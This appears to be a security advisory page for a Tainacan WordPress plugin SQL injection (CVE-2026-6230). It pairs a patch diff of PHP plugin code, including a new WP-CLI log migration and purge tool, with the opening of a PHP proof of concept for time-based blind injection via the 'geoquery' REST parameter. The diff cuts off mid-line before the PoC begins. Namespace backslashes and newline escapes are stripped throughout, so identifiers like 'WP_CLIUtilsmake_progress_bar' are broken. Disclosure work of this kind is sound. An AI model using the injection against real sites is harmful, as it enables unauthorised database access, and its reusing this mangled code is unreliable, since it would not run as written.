-		if ( $object->have_posts() && isset($object->posts) && is_array($object->posts) && isset($object->posts[0]) && is_integer($object->posts[0]) ) {
-			return $object->posts[0];
-		}
-
-		return false;
-	}
-
-	public function save_options($value) {
-		update_option('tainacan_bulk_' . $this->get_id(), $value);
-	}
-
-	public function get_options() {
-		return get_option('tainacan_bulk_' . $this->get_id());
-	}
-
-	private function _build_select($fields) {
-		global $wpdb;
-
-		return $wpdb->prepare( "SELECT $fields FROM $wpdb->postmeta WHERE meta_key = %s AND meta_value = %s", $this->meta_key, $this->get_id() );
-
-	}
-
-	/**
-	 * Sets the status to all items in the current group
-	 *
-	 */
-	public function set_status($value) {
-
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		$possible_values = ['trash', 'draft', 'publish', 'private', 'pending'];
-
-		// Specific validation
-		if (!in_array($value, $possible_values)) {
-			return new WP_Error( 'invalid_action', __( 'Invalid status', 'tainacan' ) );
-		}
-
-		global $wpdb;
-
-		$select_q = $this->_build_select( 'post_id' );
-
-		$query = $wpdb->prepare("UPDATE $wpdb->posts SET post_status = %s WHERE ID IN ($select_q)", $value);
-
-		$run = $wpdb->query($query);
-
-		if ($run) {
-			do_action('tainacan-bulk-edit-set-status', $value, $this->get_id(), $select_q, $query);
-		}
-
-		return $run;
-
-	}
-
-	/**
-	 * Adds a value to a metadatum to all items in the current group
-	 * Must be used with a multiple metadatum
-	 *
-	 */
-	public function add_value(EntitiesMetadatum $metadatum, $value) {
-
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		// Specific validation
-		if (!$metadatum->is_multiple()) {
-			return new WP_Error( 'invalid_action', __( 'Unable to add a value to a metadata if it does not accept multiple values', 'tainacan' ) );
-		}
-		if ($metadatum->is_collection_key()) {
-			return new WP_Error( 'invalid_action', __( 'Unable to add a value to a metadata set to be a collection key', 'tainacan' ) );
-		}
-
-		$dummyItem = new EntitiesItem();
-		$dummyItem->set_status('publish');
-		$checkItemMetadata = new EntitiesItem_Metadata_Entity($dummyItem, $metadatum);
-		$checkItemMetadata->set_value([$value]);
-
-		if ($checkItemMetadata->validate()) {
-			return $this->_add_value($metadatum, $value);
-		} else {
-			return new WP_Error( 'invalid_value', __( 'Invalid Value', 'tainacan' ) );
-		}
-
-
-	}
-
-	/**
-	 * Sets a value to a metadatum to all items in the current group.
-	 *
-	 * If metadatum is multiple, it will delete all values item may have for this metadatum and then add
-	 * this value
-	 */
-	public function set_value(EntitiesMetadatum $metadatum, $value) {
-
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		// Specific validation
-
-		if ($metadatum->is_collection_key()) {
-			return new WP_Error( 'invalid_action', __( 'Unable to set a value to a metadata set to be a collection key', 'tainacan' ) );
-		}
-
-		$dummyItem = new EntitiesItem();
-		$dummyItem->set_status('publish');
-		$checkItemMetadata = new EntitiesItem_Metadata_Entity($dummyItem, $metadatum);
-		if ( $metadatum->is_multiple() && !is_array($value)) {
-			$value = [$value];
-		}
-		$checkItemMetadata->set_value( $value );
-
-		if ($checkItemMetadata->validate()) {
-			$this->_remove_values($metadatum);
-			return $this->_add_value($metadatum, $value);
-		} else {
-			return new WP_Error( 'invalid_value', __( 'Invalid Value', 'tainacan' ) );
-		}
-
-
-	}
-
-	/**
-	 * Removes one value from a metadatum of all items in current group
-	 *
-	 * Must be used with multiple metadatum that are not set as required
-	 *
-	 */
-	public function remove_value(EntitiesMetadatum $metadatum, $value) {
-
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		// Specific validation
-
-		if ($metadatum->is_required()) {
-			return new WP_Error( 'invalid_action', __( 'Unable to remove a value from a required metadatum', 'tainacan' ) );
-		}
-		if (!$metadatum->is_multiple()) {
-			return new WP_Error( 'invalid_action', __( 'Unable to remove a value from a metadata if it does not accept multiple values', 'tainacan' ) );
-		}
-
-		return $this->_remove_value($metadatum, $value);
-
-
-	}
-
-	/**
-	 * Relplaces a value from one metadata with another value in all items in current group
-	 */
-	public function replace_value(EntitiesMetadatum $metadatum, $new_value, $old_value) {
-
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		// Specific validation
-
-		if ($metadatum->is_collection_key()) {
-			return new WP_Error( 'invalid_action', __( 'Unable to set a value to a metadata set to be a collection key', 'tainacan' ) );
-		}
-
-		if ($new_value == $old_value) {
-			return new WP_Error( 'invalid_action', __( 'Old value and new value cannot be the same', 'tainacan' ) );
-		}
-
-		$dummyItem = new EntitiesItem();
-		$dummyItem->set_status('publish');
-		$checkItemMetadata = new EntitiesItem_Metadata_Entity($dummyItem, $metadatum);
-		$checkItemMetadata->set_value( $metadatum->is_multiple() ? [$new_value] : $new_value );
-
-		if ($checkItemMetadata->validate()) {
-			return $this->_replace_value($metadatum, $new_value, $old_value);
-		} else {
-			return new WP_Error( 'invalid_value', __( 'Invalid Value', 'tainacan' ) );
-		}
-
-
-	}
-
-	public function trash_items() {
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		global $wpdb;
-
-		$select_q = $this->_build_select( 'post_id' );
-
-		$select_insert = "SELECT ID, '_wp_trash_meta_status', post_status FROM $wpdb->posts WHERE ID IN ($select_q)";
-		$select_insert_time = $wpdb->prepare("SELECT ID, '_wp_trash_meta_time', %s FROM $wpdb->posts WHERE ID IN ($select_q)", time());
-
-		$query_original_status = "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) $select_insert";
-		$query_trash_time = "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) $select_insert_time";
-
-		$wpdb->query($query_original_status);
-		$wpdb->query($query_trash_time);
-
-
-		$query = "UPDATE $wpdb->posts SET post_status = 'trash' WHERE ID IN ($select_q)";
-
-		// TODO trash comments?
-
-		return $wpdb->query($query);
-
-	}
-
-	public function untrash_items() {
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		global $wpdb;
-
-		$select_q = $this->_build_select( 'post_id' );
-
-		// restore status
-
-		$query_restore = "UPDATE $wpdb->posts SET post_status = (SELECT meta_value FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_status' AND post_id = ID) WHERE ID IN ($select_q) AND post_status = 'trash'";
-		$query_delete_meta1 = "DELETE FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_status' AND post_id IN ( SELECT implicitTemp.post_id FROM ($select_q) implicitTemp )";
-		$query_delete_meta2 = "DELETE FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND post_id IN ( SELECT implicitTemp.post_id FROM ($select_q) implicitTemp )";
-
-		$affected = $wpdb->query( $query_restore );
-		$wpdb->query( $query_delete_meta1 );
-		$wpdb->query( $query_delete_meta2 );
-
-		// TODO untrash comments?
-
-		return $affected;
-
-	}
-
-	public function delete_items() {
-		if (!$this->get_id()) {
-			return new WP_Error( 'no_id', __( 'Bulk Edit group not initialized', 'tainacan' ) );
-		}
-
-		global $wpdb;
-
-		$select_q = $this->_build_select( 'post_id' );
-
-		$security = " AND post_status = 'trash'";
-
-		$query_delete = "DELETE FROM $wpdb->posts WHERE ID IN ($select_q) $security";
-
-		return $wpdb->query($query_delete);
-
-	}
-
-
-	/**
-	 * Adds a value to the current group of items
-	 *
-	 * This method adds value to the database directly, any check or validation must be done beforehand
-	 */
-	private function _add_value(EntitiesMetadatum $metadatum, $value) {
-		global $wpdb;
-		$type = $metadatum->get_metadata_type_object();
-		$taxRepo = RepositoriesTaxonomies::get_instance();
-
-		if ($type->get_primitive_type() == 'term') {
-
-			$options = $metadatum->get_metadata_type_options();
-			$taxonomy_id = $options['taxonomy_id'];
-			$tax = $taxRepo->fetch($taxonomy_id);
-
-			if ($tax instanceof EntitiesTaxonomy) {
-
-				if ( !is_array($value) ) {
-					$value = [$value];
-				}
-
-				foreach ($value as $v) {
-
-					$term = $taxRepo->term_exists($tax, $v, 0, true);
-					$term_id = false;
-
-					if (false === $term) {
-						$term = wp_insert_term($v, $tax->get_db_identifier());
-						if (is_WP_Error($term) || !isset($term['term_taxonomy_id'])) {
-							return new WP_Error( 'error', __( 'Error adding term', 'tainacan' ) );
-						}
-						$term_id = $term['term_taxonomy_id'];
-					} else {
-						$term_id = $term->term_taxonomy_id;
-					}
-
-
-
-					$insert_q = $this->_build_select( $wpdb->prepare("post_id, %d", $term_id) );
-
-					$query = "INSERT IGNORE INTO $wpdb->term_relationships (object_id, term_taxonomy_id) $insert_q";
-
-					$return = $wpdb->query($query);
-
-				}
-
-				return $return;
-
-
-
-				//TODO update term count
-
-
-			}
-
-		} else {
-
-			global $wpdb;
-
-			if ( !is_array($value) ) {
-				$value = [$value];
-			}
-
-			foreach ($value as $v) {
-
-				$insert_q = $this->_build_select( $wpdb->prepare("post_id, %s, %s", $metadatum->get_id(), $v) );
-
-				$query = "INSERT IGNORE INTO $wpdb->postmeta (post_id, meta_key, meta_value) $insert_q";
-
-				$affected = $wpdb->query($query);
-
-				if ($type->get_core()) {
-					$field = $type->get_related_mapped_prop();
-					$map_field = [
-						'title' => 'post_title',
-						'description' => 'post_content'
-					];
-					$column = $map_field[$field];
-					$update_q = $this->_build_select( "post_id" );
-					$core_query = $wpdb->prepare( "UPDATE $wpdb->posts SET $column = %s WHERE ID IN ($update_q)", $v );
-
-					$wpdb->query($core_query);
-				}
-
-				$return = $affected;
-
-			}
-
-			return $return; // return last value
-
-
-		}
-
-	}
-
-	/**
-	 * Removes a value from the current group of items
-	 *
-	 * This method removes value from the database directly, any check or validation must be done beforehand
-	 */
-	private function _remove_value(EntitiesMetadatum $metadatum, $value) {
-		global $wpdb;
-		$type = $metadatum->get_metadata_type_object();
-		$taxRepo = RepositoriesTaxonomies::get_instance();
-
-		if ($type->get_primitive_type() == 'term') {
-
-			$options = $metadatum->get_metadata_type_options();
-			$taxonomy_id = $options['taxonomy_id'];
-			$tax = $taxRepo->fetch($taxonomy_id);
-
-			if ($tax instanceof EntitiesTaxonomy) {
-
-				$term = $taxRepo->term_exists($tax, $value, null, true);
-
-				if (!$term) {
-					return 0;
-				}
-
-				if ( !isset($term->term_taxonomy_id) ) {
-					return new WP_Error( 'error', __( 'Term not found', 'tainacan' ) );
-				}
-
-				$delete_q = $this->_build_select( "post_id" );
-
-				$query = $wpdb->prepare( "DELETE FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d AND object_id IN ($delete_q)", $term->term_taxonomy_id );
-
-				return $wpdb->query($query);
-
-				//TODO update term count
-
-			}
-
-		} else {
-
-			global $wpdb;
-
-			$delete_q = $this->_build_select( "post_id" );
-
-			$query = $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE meta_key = %s AND meta_value = %s AND post_id IN ( SELECT implicitTemp.post_id FROM ($delete_q) implicitTemp )", $metadatum->get_id(), $value );
-
-			return $wpdb->query($query);
-
-		}
-
-	}
-
-	/**
-	 * Replaces a value in the current group of items
-	 *
-	 * This method replaces a value from the database directly, and adds a new value to all itemsm that had the previous value
-	 *
-	 * TODO: Possible refactor: This method is almost identical to the _add_value method and calls the _remove_value at the end. So it is almost
-	 * the same thing as calling _add_value() and _remove_value() one after another. The only difference is that it does both checks before doing anything to the DB
-	 * and a small change to the insert queries (marked below)
-	 *
-	 */
-	private function _replace_value(EntitiesMetadatum $metadatum, $newvalue, $value) {
-		global $wpdb;
-
-		if ($value == $newvalue) {
-			return new WP_Error( 'error', __( 'New value and old value cannot be the same', 'tainacan' ) );
-		}
-
-		$taxRepo = RepositoriesTaxonomies::get_instance();
-		$type = $metadatum->get_metadata_type_object();
-
-		if ($type->get_primitive_type() == 'term') {
-
-			$options = $metadatum->get_metadata_type_options();
-			$taxonomy_id = $options['taxonomy_id'];
-			$tax = $taxRepo->fetch($taxonomy_id);
-
-			if ($tax instanceof EntitiesTaxonomy) {
-
-				// check old term
-				$term = $taxRepo->term_exists($tax, $value, null, true);
-
-				if (!$term) {
-					return 0;
-				}
-
-				if (is_WP_Error($term) || !isset($term->term_taxonomy_id)) {
-					return new WP_Error( 'error', __( 'Term not found', 'tainacan' ) );
-				}
-
-				// check new term
-				$newterm = $taxRepo->term_exists($tax, $newvalue, 0, true);
-
-
-				if (false === $newterm) {
-					$newterm = wp_insert_term($newvalue, $tax->get_db_identifier());
-					if (is_WP_Error($newterm) || !isset($newterm['term_taxonomy_id'])) {
-						return new WP_Error( 'error', __( 'Error adding term', 'tainacan' ) );
-					}
-					$newtermid = $newterm['term_taxonomy_id'];
-				} else {
-					$newtermid = $newterm->term_taxonomy_id;
-				}
-
-
-
-				$insert_q = $this->_build_select( $wpdb->prepare("post_id, %d", $newtermid) );
-
-				// only where old_value is present (this is what this method have different from the _add_value())
-				$insert_q .= $wpdb->prepare( " AND post_id IN(SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d)", $term->term_taxonomy_id );
-
-				$query = "INSERT IGNORE INTO $wpdb->term_relationships (object_id, term_taxonomy_id) $insert_q ";
-
-				// Add
-				$wpdb->query($query);
-
-				// Remove
-				return $this->_remove_value($metadatum, $value);
-
-				//TODO update term count
-
-			}
-
-		} else {
-
-			global $wpdb;
-
-			$insert_q = $this->_build_select( $wpdb->prepare("post_id, %s, %s", $metadatum->get_id(), $newvalue) );
-
-			// only where old_value is present (this is what this method have different from the _add_value())
-			$insert_q .= $wpdb->prepare( " AND post_id IN (SELECT post_ID FROM $wpdb->postmeta WHERE meta_key = %s AND meta_value = %s)", $metadatum->get_id(), $value );
-
-			$query = "INSERT IGNORE INTO $wpdb->postmeta (post_id, meta_key, meta_value) $insert_q";
-
-			$affected = $wpdb->query($query);
-
-			if ($type->get_core()) {
-				$field = $type->get_related_mapped_prop();
-				$map_field = [
-					'title' => 'post_title',
-					'description' => 'post_content'
-				];
-				$column = $map_field[$field];
-				$update_q = $this->_build_select( "post_id" );
-				// only where old_value is present (this is what this method have different from the _add_value())
-				$update_q .= $wpdb->prepare( " AND post_id IN (SELECT post_ID FROM $wpdb->postmeta WHERE meta_key = %s AND meta_value = %s)", $metadatum->get_id(), $value );
-
-				$core_query = $wpdb->prepare( "UPDATE $wpdb->posts SET $column = %s WHERE ID IN ($update_q)", $newvalue );
-
-				$wpdb->query($core_query);
-			}
-
-			return $this->_remove_value($metadatum, $value);
-
-		}
-
-	}
-
-	/**
-	 * Removes all values of a metadatum from the current group of items
-	 *
-	 * This method removes value from the database directly, any check or validation must be done beforehand
-	 */
-	private function _remove_values(EntitiesMetadatum $metadatum) {
-		global $wpdb;
-		$type = $metadatum->get_metadata_type_object();
-
-		if ($type->get_primitive_type() == 'term') {
-
-			$options = $metadatum->get_metadata_type_options();
-			$taxonomy_id = $options['taxonomy_id'];
-			$tax = RepositoriesTaxonomies::get_instance()->fetch($taxonomy_id);
-
-			if ($tax instanceof EntitiesTaxonomy) {
-
-				$delete_q = $this->_build_select( "post_id" );
-				$delete_tax_q = $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_taxonomy WHERE taxonomy = %s" , $tax->get_db_identifier() );
-
-				$query = "DELETE FROM $wpdb->term_relationships WHERE term_taxonomy_id IN ($delete_tax_q) AND object_id IN ($delete_q)";
-
-				return $wpdb->query($query);
-
-				//TODO update term count
-
-			}
-
-		} else {
-
-			global $wpdb;
-
-			$delete_q = $this->_build_select( "post_id" );
-
-			$query = $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE meta_key = %s AND post_id IN ( SELECT implicitTemp.post_id FROM ($delete_q) implicitTemp )", $metadatum->get_id() );
-
-
-			return $wpdb->query($query);
-
-		}
-
-	}
-
-
-
-}
--- a/tainacan/classes/class-tainacan-private-files.php
+++ b/tainacan/classes/class-tainacan-private-files.php
@@ -50,7 +50,8 @@
 		add_filter('image_get_intermediate_size', [$this, 'image_get_intermediate_size'], 10, 3);
 		add_filter('wp_get_attachment_url', [$this, 'wp_get_attachment_url'], 10, 2);

-		add_action('tainacan-insert', [$this, 'update_item_and_collection']);
+		add_action('tainacan-insert', [$this, 'rename_item_and_collection_folder_path']);
+		add_action('tainacan-deleted', [$this, 'rename_item_and_collection_folder_path'], 10, 2);

 		add_action('tainacan-bulk-edit-set-status', [$this, 'bulk_edit'], 10, 4);

@@ -322,11 +323,19 @@
 	}

 	/**
-	 * When an item or collection is saved, it checks if the satus was changed and
-	 * if the items upload directory mus be renamed to add or remove the
+	 * When an item or collection is saved, it checks if the status was changed and
+	 * if the items upload directory must be renamed to add or remove the
 	 * private folder prefix
-	 */
-	function update_item_and_collection($obj) {
+	 *
+	 * TODO: when deleting an item or collection, the folder must be deleted. However this is challenging because
+	 * we need to build the path with information that may not be available after the deletion.
+	 */
+	function rename_item_and_collection_folder_path($obj, $permanent_delete = false) {
+
+		if ( $permanent_delete ) {
+			// The $obj won't have enough information to build the path
+			return;
+		}

 		$folder = $this->dir_separator;
 		$check_folder = $this->dir_separator;
@@ -344,7 +353,6 @@
 		}

 		if ( $obj instanceof TainacanEntitiesItem ) {
-
 			$collection = $obj->get_collection();
 			$col_status_object = get_post_status_object($collection->get_status());

@@ -363,7 +371,7 @@

 		}

-		if ($check) {
+		if ( $check ) {

 			$upload_dir = wp_get_upload_dir();
 			$base_dir = $upload_dir['basedir'];
@@ -377,7 +385,6 @@

 		}

-
 	}

 	/**
--- a/tainacan/classes/cli/class-tainacan-cli-logs.php
+++ b/tainacan/classes/cli/class-tainacan-cli-logs.php
@@ -0,0 +1,294 @@
+<?php
+namespace Tainacan;
+
+defined( 'ABSPATH' ) or die( 'No script kiddies please!' );
+
+use WP_CLI;
+
+/**
+ * Handles migration of legacy Tainacan logs from wp_posts/wp_postmeta
+ * to the dedicated tainacan_logs table.
+ *
+ * Designed to be called from both WP-CLI commands and Action Scheduler jobs.
+ * Uses _wp_posts_log_migration_ref as an idempotency key so both operations
+ * can be run multiple times safely without side effects.
+ *
+ */
+class Logs_Wp_Posts_Migration {
+
+	/**
+	 * Count how many legacy tainacan-log posts have not yet been migrated.
+	 *
+	 * @return int
+	 */
+	public function count_pending(): int {
+		global $wpdb;
+		$table = RepositoriesLogs::get_instance()->get_table_name();
+		return (int) $wpdb->get_var(
+			"SELECT COUNT(p.ID) FROM {$wpdb->posts} p
+			 LEFT JOIN {$table} l ON l._wp_posts_log_migration_ref = p.ID
+			 WHERE p.post_type = 'tainacan-log' AND l.ID IS NULL"
+		);
+	}
+
+	/**
+	 * Migrate a single batch of legacy logs to tainacan_logs.
+	 *
+	 * Uses LEFT JOIN on _wp_posts_log_migration_ref so already-migrated
+	 * records are automatically excluded — safe to call repeatedly.
+	 *
+	 * @param int $batch_size Number of records to process in this call.
+	 * @return array { migrated: int, pending: int }
+	 */
+	public function run_batch( int $batch_size = 50 ): array {
+		global $wpdb;
+		$table = RepositoriesLogs::get_instance()->get_table_name();
+
+		// 1. Fetch a batch of not-yet-migrated wp_posts logs.
+		$posts = $wpdb->get_results( $wpdb->prepare(
+			"SELECT p.ID, p.post_title, p.post_content, p.post_date, p.post_author, p.post_name
+			 FROM {$wpdb->posts} p
+			 LEFT JOIN {$table} l ON l._wp_posts_log_migration_ref = p.ID
+			 WHERE p.post_type = 'tainacan-log' AND l.ID IS NULL
+			 LIMIT %d",
+			$batch_size
+		) );
+
+		if ( empty( $posts ) ) {
+			return [ 'migrated' => 0, 'pending' => 0 ];
+		}
+
+		// 2. Fetch all relevant postmeta for the batch in one query.
+		$ids    = array_column( $posts, 'ID' );
+		$in_sql = implode( ',', array_fill( 0, count( $ids ), '%d' ) );
+		$metas  = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT post_id, meta_key, meta_value FROM {$wpdb->postmeta}
+				 WHERE post_id IN ($in_sql)
+				 AND meta_key IN ('item_id','collection_id','object_id','object_type','old_value','new_value','action')",
+				...$ids
+			)
+		);
+
+		// 3. Index postmeta by post_id for O(1) lookup.
+		$meta_map = [];
+		foreach ( $metas as $meta ) {
+			$meta_map[ $meta->post_id ][ $meta->meta_key ] = $meta->meta_value;
+		}
+
+		// 4. Insert each post into tainacan_logs with the migration reference.
+		$migrated = 0;
+		foreach ( $posts as $post ) {
+			$m      = $meta_map[ $post->ID ] ?? [];
+			$result = $wpdb->insert(
+				$table,
+				[
+					'title'                       => $post->post_title,
+					'date'                        => $post->post_date,
+					'description'                 => $post->post_content,
+					'slug'                        => $post->post_name ?: uniqid( 'tainacan-log-' ),
+					'user_id'                     => absint( $post->post_author ),
+					'item_id'                     => absint( $m['item_id'] ?? 0 ),
+					'collection_id'               => $m['collection_id'] ?? '',
+					'object_id'                   => $m['object_id'] ?? '',
+					'object_type'                 => $m['object_type'] ?? '',
+					'old_value'                   => $m['old_value'] ?? null,
+					'new_value'                   => $m['new_value'] ?? null,
+					'action'                      => $m['action'] ?? '',
+					'user_edit_lastr'             => absint( $post->post_author ),
+					'_wp_posts_log_migration_ref' => absint( $post->ID ),
+				],
+				[ '%s', '%s', '%s', '%s', '%d', '%d', '%s', '%s', '%s', '%s', '%s', '%s', '%d', '%d' ]
+			);
+
+			if ( false !== $result ) {
+				$migrated++;
+			}
+		}
+
+		return [ 'migrated' => $migrated, 'pending' => $this->count_pending() ];
+	}
+
+	/**
+	 * Count how many already-migrated wp_posts log records are eligible for purging.
+	 *
+	 * @return int
+	 */
+	public function count_purgeable(): int {
+		global $wpdb;
+		$table = RepositoriesLogs::get_instance()->get_table_name();
+		return (int) $wpdb->get_var(
+			"SELECT COUNT(p.ID) FROM {$wpdb->posts} p
+			 INNER JOIN {$table} l ON l._wp_posts_log_migration_ref = p.ID
+			 WHERE p.post_type = 'tainacan-log'"
+		);
+	}
+
+	/**
+	 * Delete a batch of already-migrated tainacan-log records from wp_posts and wp_postmeta.
+	 *
+	 * Only removes records whose ID is present in tainacan_logs._wp_posts_log_migration_ref,
+	 * so non-migrated logs are never touched. Safe to call repeatedly.
+	 *
+	 * @param int $batch_size Number of records to delete in this call.
+	 * @return array { deleted: int, pending: int }
+	 */
+	public function purge_batch( int $batch_size = 50 ): array {
+		global $wpdb;
+		$table = RepositoriesLogs::get_instance()->get_table_name();
+
+		// 1. Fetch a batch of migrated post IDs to purge.
+		$ids = $wpdb->get_col( $wpdb->prepare(
+			"SELECT p.ID FROM {$wpdb->posts} p
+			 INNER JOIN {$table} l ON l._wp_posts_log_migration_ref = p.ID
+			 WHERE p.post_type = 'tainacan-log'
+			 LIMIT %d",
+			$batch_size
+		) );
+
+		if ( empty( $ids ) ) {
+			return [ 'deleted' => 0, 'pending' => 0 ];
+		}
+
+		$in_sql = implode( ',', array_map( 'absint', $ids ) );
+
+		// 2. Delete postmeta first to avoid orphaned rows.
+		$wpdb->query( "DELETE FROM {$wpdb->postmeta} WHERE post_id IN ($in_sql)" );
+
+		// 3. Delete the wp_posts records.
+		$deleted = $wpdb->query( "DELETE FROM {$wpdb->posts} WHERE ID IN ($in_sql)" );
+
+		return [ 'deleted' => (int) $deleted, 'pending' => $this->count_purgeable() ];
+	}
+}
+
+/**
+ * Manages Tainacan activity log data migration from the legacy wp_posts structure.
+ *
+ * wp tainacan logs migrate          # migra os logs do wp_posts → tainacan_logs
+ * wp tainacan logs migrate --dry-run
+ * wp tainacan logs migrate --batch-size=100 --yes
+ *
+ * wp tainacan logs purge-deprecated            # apaga os registros já migrados do wp_posts
+ * wp tainacan logs purge-deprecated --dry-run
+ * wp tainacan logs purge-deprecated --batch-size=200 --yes
+ */
+class Cli_Logs {
+
+	/**
+	 * Migrate Tainacan activity logs from the legacy wp_posts structure to the dedicated tainacan_logs table.
+	 *
+	 * Safe to run multiple times. Already-migrated records are skipped automatically
+	 * (tracked via _wp_posts_log_migration_ref).
+	 *
+	 * ## OPTIONS
+	 *
+	 * [--batch-size=<number>]
+	 * : Number of logs to process per batch. Default: 50.
+	 *
+	 * [--dry-run]
+	 * : Show how many logs are pending migration without making any changes.
+	 *
+	 * [--yes]
+	 * : Skip the confirmation prompt.
+	 *
+	 * ## EXAMPLES
+	 *
+	 *     wp tainacan logs migrate
+	 *     wp tainacan logs migrate --batch-size=100 --yes
+	 *     wp tainacan logs migrate --dry-run
+	 */
+	public function migrate( $args, $assoc_args ) {
+		$migration  = new Logs_Wp_Posts_Migration();
+		$dry_run    = isset( $assoc_args['dry-run'] );
+		$batch_size = max( 1, absint( $assoc_args['batch-size'] ?? 50 ) );
+
+		$pending = $migration->count_pending();
+
+		if ( 0 === $pending ) {
+			WP_CLI::success( 'No legacy logs found. Nothing to migrate.' );
+			return;
+		}
+
+		WP_CLI::line( sprintf( 'Found %d log(s) pending migration.', $pending ) );
+
+		if ( $dry_run ) {
+			WP_CLI::warning( 'Dry-run mode: no changes were made. Remove --dry-run to execute.' );
+			return;
+		}
+
+		WP_CLI::warning( 'It is strongly recommended you do a backup before running this command.' );
+		WP_CLI::confirm( sprintf( 'Migrate %d log(s) in batches of %d?', $pending, $batch_size ), $assoc_args );
+
+		$total_migrated = 0;
+		$progress       = WP_CLIUtilsmake_progress_bar( 'Migrating logs', $pending );
+
+		do {
+			$result          = $migration->run_batch( $batch_size );
+			$total_migrated += $result['migrated'];
+			$progress->tick( $result['migrated'] );
+		} while ( $result['pending'] > 0 && $result['migrated'] > 0 );
+
+		$progress->finish();
+		WP_CLI::success( sprintf( 'Migration complete. %d log(s) migrated.', $total_migrated ) );
+	}
+
+	/**
+	 * Delete legacy tainacan-log records from wp_posts/wp_postmeta that have already been migrated to tainacan_logs.
+	 *
+	 * Only records whose wp_posts ID is referenced in tainacan_logs._wp_posts_log_migration_ref
+	 * are removed. Non-migrated logs are never touched.
+	 * Safe to run multiple times.
+	 *
+	 * ## OPTIONS
+	 *
+	 * [--batch-size=<number>]
+	 * : Number of records to delete per batch. Default: 50.
+	 *
+	 * [--dry-run]
+	 * : Show how many records are eligible for deletion without making any changes.
+	 *
+	 * [--yes]
+	 * : Skip the confirmation prompt.
+	 *
+	 * ## EXAMPLES
+	 *
+	 *     wp tainacan logs purge-deprecated
+	 *     wp tainacan logs purge-deprecated --batch-size=200 --yes
+	 *     wp tainacan logs purge-deprecated --dry-run
+	 */
+	public function purge_deprecated( $args, $assoc_args ) {
+		$migration  = new Logs_Wp_Posts_Migration();
+		$dry_run    = isset( $assoc_args['dry-run'] );
+		$batch_size = max( 1, absint( $assoc_args['batch-size'] ?? 50 ) );
+
+		$purgeable = $migration->count_purgeable();
+
+		if ( 0 === $purgeable ) {
+			WP_CLI::success( 'No migrated legacy logs found. Nothing to purge.' );
+			return;
+		}
+
+		WP_CLI::line( sprintf( 'Found %d migrated log(s) in wp_posts eligible for deletion.', $purgeable ) );
+
+		if ( $dry_run ) {
+			WP_CLI::warning( 'Dry-run mode: no changes were made. Remove --dry-run to execute.' );
+			return;
+		}
+
+		WP_CLI::warning( 'This will permanently delete records from wp_posts and wp_postmeta. It is strongly recommended you do a backup before running this command.' );
+		WP_CLI::confirm( sprintf( 'Delete %d legacy log record(s) from wp_posts in batches of %d?', $purgeable, $batch_size ), $assoc_args );
+
+		$total_deleted = 0;
+		$progress      = WP_CLIUtilsmake_progress_bar( 'Purging legacy logs', $purgeable );
+
+		do {
+			$result        = $migration->purge_batch( $batch_size );
+			$total_deleted += $result['deleted'];
+			$progress->tick( $result['deleted'] );
+		} while ( $result['pending'] > 0 && $result['deleted'] > 0 );
+
+		$progress->finish();
+		WP_CLI::success( sprintf( 'Purge complete. %d legacy log record(s) deleted from wp_posts.', $total_deleted ) );
+	}
+}
--- a/tainacan/classes/cli/class-tainacan-cli.php
+++ b/tainacan/classes/cli/class-tainacan-cli.php
@@ -43,6 +43,7 @@
 		WP_CLI::add_command('tainacan collection', 'TainacanCli_Collection');
 		WP_CLI::add_command('tainacan index-content', 'TainacanCli_Document');
 		WP_CLI::add_command('tainacan control-metadata', 'TainacanCli_Control_Metadata');
+		WP_CLI::add_command('tainacan lo

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6230 - Tainacan <= 1.0.3 - Unauthenticated SQL Injection via 'geoquery' REST API Parameter

/**
 * This script demonstrates time-based blind SQL injection via the geoquery parameter.
 * It sends a malicious request with a SLEEP() payload and measures response time.
 */

// Target WordPress site with Tainacan plugin installed
$target_url = 'http://example.com/wp-json/tainacan/v2/items'; // Adjust endpoint as needed

echo "[+] CVE-2026-6230 Proof of Conceptn";
echo "[+] Target: $target_urlnn";

